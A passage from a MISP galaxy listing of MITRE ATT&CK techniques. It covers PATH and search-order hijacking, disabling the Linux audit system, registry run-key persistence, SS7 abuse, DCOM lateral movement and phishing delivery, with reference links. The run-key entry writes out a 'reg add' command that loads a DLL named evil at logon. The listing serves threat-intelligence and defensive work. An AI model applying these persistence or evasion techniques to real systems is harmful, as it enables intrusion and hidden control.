For example, on Windows if an adversary places a malicious program named "net.exe" in `C:\example path`, which by default precedes `C:\Windows\system32\net.exe` in the PATH environment variable, when "net" is executed from the command-line the `C:\example path` will be called instead of the system's legitimate executable at `C:\Windows\system32\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)

Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception by PATH Environment Variable - T1574.007"*

Table 7958. Table References

Links
https://attack.mitre.org/techniques/T1574/007
https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/
https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html
https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/
https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware

Path Interception by Search Order Hijacking - T1574.008

Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.

Search order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an

executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.

For example, "example.exe" runs "cmd.exe" with the command-line argument <code>net user</code>. An adversary may place a program called "net.exe" within the same directory as example.exe, "net.exe" will be run instead of the Windows system utility net. In addition, if an adversary places a program called "net.com" in the same directory as "net.exe", then <code>cmd.exe /C net user</code> will execute "net.com" instead of "net.exe" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)

Search order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).

The tag is: *misp-galaxy:mitre-attack-pattern="Path Interception by Search Order Hijacking - T1574.008"*

Table 7959. Table References

Links
https://attack.mitre.org/techniques/T1574/008
https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120
https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa
https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec

Disable or Modify Linux Audit System - T1562.012

Adversaries may disable or modify the Linux audit system to hide malicious activity and avoid detection. Linux admins use the Linux Audit system to track security-relevant information on a system. The Linux Audit system operates at the kernel-level and maintains event logs on application and system activity such as process, network, file, and login events based on pre-configured rules.

Often referred to as `auditd`, this is the name of the daemon used to write events to disk and is governed by the parameters set in the `audit.conf` configuration file. Two primary ways to configure the log generation rules are through the command line `auditctl` utility and the file `/etc/audit/audit.rules`, containing a sequence of `auditctl` commands loaded at boot time.(Citation: Red Hat System Auditing)(Citation: IzyKnows auditd threat detection 2022)

With root privileges, adversaries may be able to ensure their activity is not logged through disabling the Audit system service, editing the configuration/rule files, or by hooking the Audit system library functions. Using the command line, adversaries can disable the Audit system service through killing processes associated with `auditd` daemon or use `systemctl` to stop the Audit service. Adversaries can also hook Audit system functions to disable logging or modify the rules contained in the `/etc/audit/audit.rules` or `audit.conf` files to ignore malicious activity.(Citation: Trustwave

Honeypot SkidMap 2023)(Citation: ESET Ebury Feb 2014)

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Linux Audit System - T1562.012"*

Table 7960. Table References

Links
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
https://attack.mitre.org/techniques/T1562/012
https://izyknows.medium.com/linux-auditd-for-threat-detection-d06c8b941505
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/

Disable or Modify Network Device Firewall - T1562.013

Adversaries may disable network device-based firewall mechanisms entirely or add, delete, or modify particular rules in order to bypass controls limiting network usage.

Modifying or disabling a network firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add new network firewall rules to allow access to all internal network subnets without restrictions.(Citation: Exposed Fortinet Fortigate firewall interface leads to LockBit Ransomware)

Adversaries may gain access to the firewall management console via [Valid Accounts](https://attack.mitre.org/techniques/T1078) or by exploiting a vulnerability. In some cases, threat actors may target firewalls that have been exposed to the internet [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190).(Citation: CVE-2024-55591 Detail)

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Network Device Firewall - T1562.013"*

Table 7961. Table References

Links
https://attack.mitre.org/techniques/T1562/013
https://nvd.nist.gov/vuln/detail/CVE-2024-55591
https://posts.inthecyber.com/exposed-fortinet-fortigate-firewall-interface-leads-to-lockbit-ransomware-cve-2024-55591-de8fcfb6c45c

Registry Run Keys / Startup Folder - T1060

Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account’s associated

permissions level.

Placing a program within a startup folder will cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in.

The startup folder path for the current user is: * <code>C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</code> The startup folder path for all users is: * <code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp</code>

The following run keys are created by default on Windows systems: * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce</code>

The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx</code> is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnceEx Mar 2018)

The following Registry keys can be used to set startup folder items for persistence: * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders</code>

The following Registry keys can control automatic startup of services during boot: * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce</code> * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices</code>

Using policy settings to specify startup programs creates corresponding values in either of two Registry keys: * <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</code>

The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell</code> subkeys can automatically launch programs.

Programs listed in the load value of the registry key <code>HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows</code> run when any user logs on.

By default, the multistring BootExecute value of the registry key <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager</code> is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make the Registry entries look as if they are associated with legitimate programs.

The tag is: *misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060"*

Table 7962. Table References

Links
http://msdn.microsoft.com/en-us/library/aa376977
https://attack.mitre.org/techniques/T1060
https://capec.mitre.org/data/definitions/270.html
https://oddvar.moe/2018/03/21/persistence-using-runonceex-hidden-from-autoruns-exe/
https://support.microsoft.com/help/310593/description-of-the-runonceex-registry-key
https://technet.microsoft.com/en-us/sysinternals/bb963902

Exploit SS7 to Redirect Phone Calls/SMS - T1449

An adversary could exploit signaling system vulnerabilities to redirect calls or text messages (SMS) to a phone number under the attacker's control. The adversary could then act as an adversary-in-the-middle to intercept or manipulate the communication. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport) Interception of SMS messages could enable adversaries to obtain authentication codes used for multi-factor authentication(Citation: TheRegister-SS7).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit SS7 to Redirect Phone Calls/SMS - T1449"*

Table 7963. Table References

Links
http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf
https://attack.mitre.org/techniques/T1449
https://berlin.ccc.de/}tobias/31c3-ss7-locate-track-manipulate.pdf
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-37.html
https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf
https://www.theregister.co.uk/2017/05/03/hackers_fire_up_ss7_flaw/
https://www.youtube.com/watch?v=q0n5ySqbfdI

Assess security posture of physical locations - T1302

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1302).

Physical access may be required for certain types of adversarial actions. (Citation: CyberPhysicalAssessment) (Citation: CriticalInfrastructureAssessment)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess security posture of physical locations - T1302"*

Table 7964. Table References

Links
https://attack.mitre.org/techniques/T1302

Determine domain and IP address space - T1250

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1250).

Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Determine domain and IP address space - T1250"*

Table 7965. Table References

Links
https://attack.mitre.org/techniques/T1250

Research visibility gap of security vendors - T1290

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1290).

If an adversary can identify which security tools a victim is using they may be able to identify ways around those tools. (Citation: CrowdStrike Putter Panda)

The tag is: *misp-galaxy:mitre-attack-pattern="Research visibility gap of security vendors - T1290"*

Table 7966. Table References

Links
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf
https://attack.mitre.org/techniques/T1290

Exploit SS7 to Track Device Location - T1450

An adversary could exploit signaling system vulnerabilities to track the location of mobile devices. (Citation: Engel-SS7) (Citation: Engel-SS7-2008) (Citation: 3GPP-Security) (Citation: Positive-SS7) (Citation: CSRIC5-WG10-FinalReport)

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit SS7 to Track Device Location - T1450"*

Table 7967. Table References

Links
http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf
https://attack.mitre.org/techniques/T1450
https://berlin.ccc.de/}tobias/31c3-ss7-locate-track-manipulate.pdf
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-38.html
https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf
https://www.ptsecurity.com/upload/ptcom/PT-SS7-AD-Data-Sheet-eng.pdf
https://www.youtube.com/watch?v=q0n5ySqbfdI

Access Sensitive Data in Device Logs - T1413

On versions of Android prior to 4.1, an adversary may use a malicious application that holds the READ_LOGS permission to obtain private keys, passwords, other credentials, or other sensitive data stored in the device's system log. On Android 4.1 and later, an adversary would need to attempt to perform an operating system privilege escalation attack to be able to access the log.

The tag is: *misp-galaxy:mitre-attack-pattern="Access Sensitive Data in Device Logs - T1413"*

Table 7968. Table References

Links
https://attack.mitre.org/techniques/T1413
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-3.html

Stolen Developer Credentials or Signing Keys - T1441

An adversary could steal developer account credentials on an app store and/or signing keys to publish malicious updates to existing Android or iOS apps, or to abuse the developer's identity and reputation to publish new malicious applications. For example, Infoworld describes this technique and suggests mitigations in (Citation: Infoworld-Appstore).

Detection: Developers can regularly scan (or have a third party scan on their behalf) the app stores for presence of unauthorized apps that were submitted using the developer's identity.

Platforms: Android, iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Stolen Developer Credentials or Signing Keys - T1441"*

Table 7969. Table References

Links
https://attack.mitre.org/techniques/T1441

Component Object Model and Distributed COM - T1175

This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).

Adversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement.

COM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.

Adversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

Adversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model and Distributed COM - T1175"*

Table 7970. Table References

Links
https://attack.mitre.org/techniques/T1175
https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

Develop social network persona digital footprint - T1342

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content

of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1342).

Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)

The tag is: *misp-galaxy:mitre-attack-pattern="Develop social network persona digital footprint - T1342"*

Table 7971. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1342
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Assess vulnerability of 3rd party vendors - T1298

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1298).

Once a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess vulnerability of 3rd party vendors - T1298"*

Table 7972. Table References

Links
https://attack.mitre.org/techniques/T1298

Manipulate App Store Rankings or Ratings - T1452

An adversary could use access to a compromised device's credentials to attempt to manipulate app store rankings or ratings by triggering application downloads or posting fake reviews of applications. This technique likely requires privileged access (a rooted or jailbroken device).

The tag is: *misp-galaxy:mitre-attack-pattern="Manipulate App Store Rankings or Ratings - T1452"*

Table 7973. Table References

Links
https://attack.mitre.org/techniques/T1452

Acquire OSINT data sets and information - T1247

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1247).

Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1247"*

Table 7974. Table References

Links
https://attack.mitre.org/techniques/T1247

Acquire OSINT data sets and information - T1266

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1266).

Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1266"*

Table 7975. Table References

Links
https://attack.mitre.org/techniques/T1266

Acquire OSINT data sets and information - T1277

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1277).

Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)

The tag is: *misp-galaxy:mitre-attack-pattern="Acquire OSINT data sets and information - T1277"*

Table 7976. Table References

Links
https://attack.mitre.org/techniques/T1277

Assess opportunities created by business deals - T1299

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1299).

During mergers, divestitures, or other period of change in joint infrastructure or business processes there may be an opportunity for exploitation. During this type of churn, unusual requests, or other non standard practices may not be as noticeable. (Citation: RossiMergers) (Citation: MeidlHealthMergers)

The tag is: *misp-galaxy:mitre-attack-pattern="Assess opportunities created by business deals - T1299"*

Table 7977. Table References

Links
https://attack.mitre.org/techniques/T1299

SSL certificate acquisition for trust breaking - T1338

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1338).

Fake certificates can be acquired by legal process or coercion. Or, an adversary can trick a Certificate Authority into issuing a certificate. These fake certificates can be used as a part of Man-in-the-Middle attacks. (Citation: SubvertSSL)

The tag is: *misp-galaxy:mitre-attack-pattern="SSL certificate acquisition for trust breaking - T1338"*

Table 7978. Table References

Links
https://attack.mitre.org/techniques/T1338

Identify resources required to build capabilities - T1348

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1348).

As with legitimate development efforts, different skill sets may be required for different phases of an attack. The skills needed may be located in house, can be developed, or may need to be

contracted out. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify resources required to build capabilities - T1348"*

Table 7979. Table References

Links
https://attack.mitre.org/techniques/T1348

Hardware or software supply chain implant - T1365

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1365).

During production and distribution, the placement of software, firmware, or a CPU chip in a computer, handheld, or other electronic device that enables an adversary to gain illegal entrance. (Citation: McDRecall) (Citation: SeagateMaxtor)

The tag is: *misp-galaxy:mitre-attack-pattern="Hardware or software supply chain implant - T1365"*

Table 7980. Table References

Links
https://attack.mitre.org/techniques/T1365

Test malware in various execution environments - T1357

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1357).

Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([Ubuntu](http://www.ubuntu.com) vs [OS X](http://www.apple.com/osx)), and versions ([Windows](http://windows.microsoft.com) 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)

The tag is: *misp-galaxy:mitre-attack-pattern="Test malware in various execution environments - T1357"*

Table 7981. Table References

Links
https://attack.mitre.org/techniques/T1357

Conduct social engineering or HUMINT operation - T1376

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)

The tag is: *misp-galaxy:mitre-attack-pattern="Conduct social engineering or HUMINT operation - T1376"*

Table 7982. Table References

Links
https://attack.mitre.org/techniques/T1376

Spear phishing messages with malicious attachments - T1367

This technique has been deprecated. Please use [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).

Emails with malicious attachments are designed to get a user to open/execute the attachment in order to deliver malware payloads. (Citation: APT1)

The tag is: *misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious attachments - T1367"*

Table 7983. Table References

Links
https://attack.mitre.org/techniques/T1367

Authorized user performs requested cyber action - T1386

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Clicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)

The tag is: *misp-galaxy:mitre-attack-pattern="Authorized user performs requested cyber action - T1386"*

Table 7984. Table References

Links
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1386

Spear phishing messages with text only - T1368

This technique has been deprecated. Please use [Phishing](https://attack.mitre.org/techniques/T1566) where appropriate.

Emails with text only phishing messages do not contain any attachments or links to websites. They are designed to get a user to take a follow on action such as calling a phone number or wiring money. They can also be used to elicit an email response to confirm existence of an account or user. (Citation: Paypal Phone Scam)

The tag is: *misp-galaxy:mitre-attack-pattern="Spear phishing messages with text only - T1368"*

Table 7985. Table References

Links
https://attack.mitre.org/techniques/T1368

Spear phishing messages with malicious links - T1369

This technique has been deprecated. Please use [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002).

Emails with malicious links are designed to get a user to click on the link in order to deliver malware payloads. (Citation: GoogleDrive Phishing) (Citation: RSASEThreat)

The tag is: *misp-galaxy:mitre-attack-pattern="Spear phishing messages with malicious links - T1369"*

Table 7986. Table References

Links
https://attack.mitre.org/techniques/T1369

Unauthorized user introduces compromise delivery mechanism - T1387

This technique has been deprecated. Please use [Hardware Additions](https://attack.mitre.org/techniques/T1200) where appropriate.

If an adversary can gain physical access to the target's environment they can introduce a variety of devices that provide compromise mechanisms. This could include installing keyboard loggers, adding routing/wireless equipment, or connecting computing devices. (Citation: Credit Card

Skimmers)

The tag is: *misp-galaxy:mitre-attack-pattern="Unauthorized user introduces compromise delivery mechanism - T1387"*

Table 7987. Table References

Links
https://attack.mitre.org/techniques/T1387

Deliver Malicious App via Other Means - T1476

Malicious applications are a common attack vector used by adversaries to gain a presence on mobile devices. This technique describes installing a malicious application on targeted mobile devices without involving an authorized app store (e.g., Google Play Store or Apple App Store). Adversaries may wish to avoid placing malicious applications in an authorized app store due to increased potential risk of detection or other reasons. However, mobile devices often are configured to allow application installation only from an authorized app store which would prevent this technique from working.

Delivery methods for the malicious application include:

- [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) - Including the mobile app package as an attachment to an email message.
- [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) - Including a link to the mobile app package within an email, text message (e.g. SMS, iMessage, Hangouts, WhatsApp, etc.), web site, QR code, or other means.
- Third-Party App Store - Installed from a third-party app store (as opposed to an authorized app store that the device implicitly trusts as part of its default behavior), which may not apply the same level of scrutiny to apps as applied by an authorized app store.(Citation: IBTimes-ThirdParty)(Citation: TrendMicro-RootingMalware)(Citation: TrendMicro-FlappyBird)

Some Android malware comes with functionality to install additional applications, either automatically or when the adversary instructs it to.(Citation: android-trojan-steals-paypal-2fa)

The tag is: *misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476"*

Table 7988. Table References

Links
https://attack.mitre.org/techniques/T1476
https://blog.trendmicro.com/trendlabs-security-intelligence/flappy-bird-and-third-party-app-stores/
https://blog.trendmicro.com/trendlabs-security-intelligence/user-beware-rooting-malware-found-in-3rd-party-app-stores/
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-9.html
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-13.html

https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-21.html
https://www.ibtimes.co.uk/danger-lurks-third-party-android-app-stores-1544861
https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/

Upload, install, and configure software/tools - T1362

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1362).

An adversary may stage software and tools for use during later stages of an attack. The software and tools may be placed on systems legitimately in use by the adversary or may be placed on previously compromised infrastructure. (Citation: APT1) (Citation: RedOctober)

The tag is: *misp-galaxy:mitre-attack-pattern="Upload, install, and configure software/tools - T1362"*

Table 7989. Table References

Links
https://attack.mitre.org/techniques/T1362

LLMNR/NBT-NS Poisoning and SMB Relay - T1557.001

By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials.

